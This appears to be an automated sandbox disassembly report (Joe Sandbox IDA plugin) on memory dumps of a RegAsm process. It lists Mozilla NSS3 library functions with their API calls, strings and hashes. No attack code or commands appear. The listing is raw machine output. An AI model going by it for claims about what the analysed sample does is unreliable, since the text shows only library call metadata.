Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *phNewObject = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ phNewObject = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_CopyObject
API String ID: 1003633598-1222337137
Opcode ID: d92ad428acd947c2b27901e04e448a0c0a35ee27b1682c78c58342e3b947d0ed
Instruction ID: 8278a137b3725829367d262b153f762d91dad2e2fc7d08832bb9f4a030cefac1
Opcode Fuzzy Hash: d92ad428acd947c2b27901e04e448a0c0a35ee27b1682c78c58342e3b947d0ed
Instruction Fuzzy Hash: 1651C371701104AFEB10DF949D89F5F3BE9EB5720CF494024F8086BA12CB34A959DBA9

Function 6C0008F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6C00094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C000953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6C00096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6C000974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C00098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C000995

Part of subcall function 6C001800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C001860
Part of subcall function 6C001800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6C0009BF), ref: 6C001897
Part of subcall function 6C001800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C0018AA
Part of subcall function 6C001800: memcpy.VCRUNTIME140(?,?,?), ref: 6C0018C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C000B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C000B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C000B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6C000B78

Strings

base_nonce, xrefs: 6C000B06
exp, xrefs: 6C000B36
info_hash, xrefs: 6C0009E0
key, xrefs: 6C000ACB
psk_id_hash, xrefs: 6C0009B5
secret, xrefs: 6C000A88

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: 87829608c36ade88ffd063dedaa98088b226f735af38723c85e5e5e05986d836
Instruction ID: c1f6dcf634a16c8dabe8e9db243e00076e4b1a99f9689f8b94d5116f6f0bb7aa
Opcode Fuzzy Hash: 87829608c36ade88ffd063dedaa98088b226f735af38723c85e5e5e05986d836
Instruction Fuzzy Hash: A0817AB5608305AFD700CF65C880E9AF7E9FF8C608F048919F99997751E731EA19CB92

Function 6C0089B0 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 149COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GenerateKey), ref: 6C0089D6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C008A04
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C008A13

Part of subcall function 6C0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C008A29
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C008A4B
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C008A67
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C008A83
PR_LogPrint.NSS3( phKey = 0x%p,?), ref: 6C008AA1
PL_strncpyz.NSS3(?, *phKey = 0x%x,00000050), ref: 6C008B43
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C008B52
PR_LogPrint.NSS3(?,00000000), ref: 6C008B68

Strings

pMechanism = 0x%p, xrefs: 6C008A46
ulCount = %d, xrefs: 6C008A7E
phKey = 0x%p, xrefs: 6C008A9C
pTemplate = 0x%p, xrefs: 6C008A62
C_GenerateKey, xrefs: 6C0089D1
(CK_INVALID_HANDLE), xrefs: 6C008A0C, 6C008B4B
hSession = 0x%x, xrefs: 6C0089EE, 6C0089FE
*phKey = 0x%x, xrefs: 6C008B2D, 6C008B3D

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *phKey = 0x%x$ hSession = 0x%x$ pMechanism = 0x%p$ pTemplate = 0x%p$ phKey = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GenerateKey
API String ID: 1003633598-2039122979
Opcode ID: dfb76a4c14071f8b9af2bf23626c4503cfd0caf9b62169a71f228b767f87bccb
Instruction ID: 5e671552fb7b3251afdd8672ac34235a8b3629ed775866d88f8222a2d2d12e15
Opcode Fuzzy Hash: dfb76a4c14071f8b9af2bf23626c4503cfd0caf9b62169a71f228b767f87bccb
Instruction Fuzzy Hash: 93518070701204AFEB10EF54DD89F9F3BE5AB8631CF454125E8086BA12DB34E959EB92

Function 6BFEAB90 Relevance: 33.4, APIs: 22, Instructions: 388COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6BFEABCB
EnterCriticalSection.KERNEL32 ref: 6BFEABE4
TlsGetValue.KERNEL32 ref: 6BFEAC0B
PR_Unlock.NSS3 ref: 6BFEAC7B
TlsGetValue.KERNEL32 ref: 6BFEAC9C
EnterCriticalSection.KERNEL32 ref: 6BFEACB5
PR_WaitCondVar.NSS3 ref: 6BFEACD5
TlsGetValue.KERNEL32 ref: 6BFEACF4

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSection$CondUnlockWait
String ID:
API String ID: 839227765-0
Opcode ID: 90b34ecdce3bfbda89d31e0dc685c6cf650b4e9856bbcfb6cedc0f53807a0aa2
Instruction ID: d91cbe7696c10f9761732700d3c02f3af4715c613f0290f5d25b73a2cc89867a
Opcode Fuzzy Hash: 90b34ecdce3bfbda89d31e0dc685c6cf650b4e9856bbcfb6cedc0f53807a0aa2
Instruction Fuzzy Hash: 93F196B6A04745DFEB209F78C584769BBF0BF05308F0085A9D99897261DB38E4C6CFA1

Function 6C012D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C012DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C012E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C012E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C012E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6BFE4F1C,?,-00000001,00000000,?), ref: 6C012E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6BFE4F1C,?,-00000001,00000000), ref: 6C012E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C012EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C012EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C012EF8
PR_Unlock.NSS3(?), ref: 6C012F62
TlsGetValue.KERNEL32 ref: 6C012F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C012F9E
PR_Unlock.NSS3(?), ref: 6C012FCA
TlsGetValue.KERNEL32 ref: 6C01301A
EnterCriticalSection.KERNEL32(?), ref: 6C01302E
PR_Unlock.NSS3(?), ref: 6C013066
PR_SetError.NSS3(00000000,00000000), ref: 6C013085
PR_Unlock.NSS3(?), ref: 6C0130EC
TlsGetValue.KERNEL32 ref: 6C01310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C013124
PR_Unlock.NSS3(?), ref: 6C01314C

Part of subcall function 6BFF9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C02379E,?,6BFF9568,00000000,?,6C02379E,?,00000001,?), ref: 6BFF918D
Part of subcall function 6BFF9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C02379E,?,6BFF9568,00000000,?,6C02379E,?,00000001,?), ref: 6BFF91A0

Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07AD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07CD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07D6
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6BF5204A), ref: 6BFC07E4
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,6BF5204A), ref: 6BFC0864
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BFC0880
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6BF5204A), ref: 6BFC08CB
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08D7
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08FB

PR_SetError.NSS3(00000000,00000000), ref: 6C01316D

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 2ff94e1305ff6a0e4c1dc9c2db6e3f4ceead7bc768b8b26dffd6cdd97b0665ce
Instruction ID: 3014dddddce6528a99fe68f3ce5faa6837925cd4f460d75848edd5c3f0e6c642
Opcode Fuzzy Hash: 2ff94e1305ff6a0e4c1dc9c2db6e3f4ceead7bc768b8b26dffd6cdd97b0665ce
Instruction Fuzzy Hash: B4F19DB5E04209AFEF00DFA4D884B9EBBF4BF09318F144168EC04A7A11E735E995CB91

Function 6C03C980 Relevance: 33.3, APIs: 22, Instructions: 298memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,6C03AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C03C98E

Part of subcall function 6C030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6BFD87ED,00000800,6BFCEF74,00000000), ref: 6C031000
Part of subcall function 6C030FF0: PR_NewLock.NSS3(?,00000800,6BFCEF74,00000000), ref: 6C031016
Part of subcall function 6C030FF0: PL_InitArenaPool.NSS3(00000000,security,6BFD87ED,00000008,?,00000800,6BFCEF74,00000000), ref: 6C03102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,6C03AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C03C9A1

Part of subcall function 6C0310C0: TlsGetValue.KERNEL32(?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C0310F3
Part of subcall function 6C0310C0: EnterCriticalSection.KERNEL32(?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C03110C
Part of subcall function 6C0310C0: PL_ArenaAllocate.NSS3(?,?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C031141
Part of subcall function 6C0310C0: PR_Unlock.NSS3(?,?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C031182
Part of subcall function 6C0310C0: TlsGetValue.KERNEL32(?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C03119C

SECOID_FindOIDByTag_Util.NSS3(0000001A,?,?,?,6C03AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C03C9D3

Part of subcall function 6C030840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C0308B4

SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000,?,?,?,?,6C03AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C03C9E6

Part of subcall function 6C02FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C028D2D,?,00000000,?), ref: 6C02FB85
Part of subcall function 6C02FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C02FBB1

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,6C03AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C03C9F5
PORT_ArenaAlloc_Util.NSS3(00000000,00000050,?,?,?,?,?,?,?,6C03AEB0,?,00000004,00000001,?,00000000,?), ref: 6C03CA0A
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,6C03AEB0,?,00000004,00000001), ref: 6C03CA33
SECOID_FindOIDByTag_Util.NSS3(00000019,?,?,?,?,?,?,?,?,?,?,?,?,6C03AEB0,?,00000004), ref: 6C03CA4D
SECITEM_CopyItem_Util.NSS3(00000001,?,00000000), ref: 6C03CA60
SEC_PKCS7DestroyContentInfo.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C03AEB0,?,00000004), ref: 6C03CA6D
PR_Now.NSS3 ref: 6C03CAD6
PORT_ArenaMark_Util.NSS3(00000000), ref: 6C03CB23
PORT_ArenaAlloc_Util.NSS3(00000000,0000005C), ref: 6C03CB32
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001), ref: 6C03CB64
SECOID_SetAlgorithmID_Util.NSS3(00000000,?,00000001,00000000), ref: 6C03CBBB
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C03CBD0
PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C03CBF6
PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C03CC18
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000001,00000000), ref: 6C03CC39
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C03CC5B

Part of subcall function 6C0310C0: PL_ArenaAllocate.NSS3(?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C03116E

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C03CC69
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C03CC89

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_$CopyItem_$AlgorithmAllocateArena_EncodeFindInteger_Tag_Value$ContentCriticalDestroyEnterErrorFreeInfoInitLockMark_PoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1766420342-0
Opcode ID: bef8676673eb9d7d2b3557584c425c432595b07a12505eb054af684077957178
Instruction ID: b13666f18183819768597564151099bb2421c15d3ac411850e166569854d73d8
Opcode Fuzzy Hash: bef8676673eb9d7d2b3557584c425c432595b07a12505eb054af684077957178
Instruction Fuzzy Hash: FDB19EB5D002279BEB00DF64CD41BAA77F4BF5834CF105225E808AB751EB75E9A4CBA0

Function 6C016CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C016910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C016943
Part of subcall function 6C016910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C016957
Part of subcall function 6C016910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C016972
Part of subcall function 6C016910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C016983
Part of subcall function 6C016910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C0169AA
Part of subcall function 6C016910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C0169BE
Part of subcall function 6C016910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C0169D2
Part of subcall function 6C016910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C0169DF
Part of subcall function 6C016910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C016A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C016D8C
free.MOZGLUE(00000000), ref: 6C016DC5
free.MOZGLUE(?), ref: 6C016DD6
free.MOZGLUE(?), ref: 6C016DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C016E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C016E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C016E72
free.MOZGLUE(?), ref: 6C016EA7
free.MOZGLUE(?), ref: 6C016EC4
free.MOZGLUE(?), ref: 6C016ED5
free.MOZGLUE(00000000), ref: 6C016EE3
free.MOZGLUE(?), ref: 6C016EF4
free.MOZGLUE(?), ref: 6C016F08
free.MOZGLUE(00000000), ref: 6C016F35
free.MOZGLUE(?), ref: 6C016F44
free.MOZGLUE(?), ref: 6C016F5B
free.MOZGLUE(00000000), ref: 6C016F65

Part of subcall function 6C016C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C01781D,00000000,6C00BE2C,?,6C016B1D,?,?,?,?,00000000,00000000,6C01781D), ref: 6C016C40
Part of subcall function 6C016C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C01781D,?,6C00BE2C,?), ref: 6C016C58
Part of subcall function 6C016C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C01781D), ref: 6C016C6F
Part of subcall function 6C016C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C016C84
Part of subcall function 6C016C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C016C96
Part of subcall function 6C016C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C016CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C016F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C016FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C016FF4

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: a4e29a46aa533fdb6ba1da80ab2e405152173781018e9f6b8fc74c44a08e23eb
Instruction ID: 37520f532488d2755a757cf0b4e522599c8f7ff737fa6a0a7669d85baaab38b5
Opcode Fuzzy Hash: a4e29a46aa533fdb6ba1da80ab2e405152173781018e9f6b8fc74c44a08e23eb
Instruction Fuzzy Hash: B7B159B4E092199BEF00CBE5DC45B9EBBF8EF09348F140128E815E7A00E735E954CBA1

Function 6C014C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C014C4C
EnterCriticalSection.KERNEL32(?), ref: 6C014C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C014CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C014CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C014CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C014D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C014D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C014DB7

Part of subcall function 6C07DD70: TlsGetValue.KERNEL32 ref: 6C07DD8C
Part of subcall function 6C07DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C07DDB4

Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07AD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07CD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07D6
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6BF5204A), ref: 6BFC07E4
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,6BF5204A), ref: 6BFC0864
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BFC0880
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6BF5204A), ref: 6BFC08CB
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08D7
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08FB

TlsGetValue.KERNEL32 ref: 6C014DD7
EnterCriticalSection.KERNEL32(?), ref: 6C014DEC
PR_Unlock.NSS3(?), ref: 6C014E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C014E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C014E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C014E71
free.MOZGLUE(00000000), ref: 6C014E7A
PR_Unlock.NSS3(?), ref: 6C014EA2
TlsGetValue.KERNEL32 ref: 6C014EC1
EnterCriticalSection.KERNEL32(?), ref: 6C014ED6
PR_Unlock.NSS3(?), ref: 6C014F01
free.MOZGLUE(00000000), ref: 6C014F2A

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 94d849b127b57426dd5cc80a8de290ed2bda1a88b63bef13ffba719ed11dd571
Instruction ID: b93bd3513e7d9d15a59d02c66933f1781e6344765a99231e940dcb4269b484b1
Opcode Fuzzy Hash: 94d849b127b57426dd5cc80a8de290ed2bda1a88b63bef13ffba719ed11dd571
Instruction Fuzzy Hash: 3AB1DF75A04206AFEF00DFA8D885B9AB7F4BF0931CF144128ED0597B21EB35E961CB91

Function 6C066E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C066BF7), ref: 6C066EB6

Part of subcall function 6BFC1240: TlsGetValue.KERNEL32(00000040,?,6BFC116C,NSPR_LOG_MODULES), ref: 6BFC1267
Part of subcall function 6BFC1240: EnterCriticalSection.KERNEL32(?,?,?,6BFC116C,NSPR_LOG_MODULES), ref: 6BFC127C
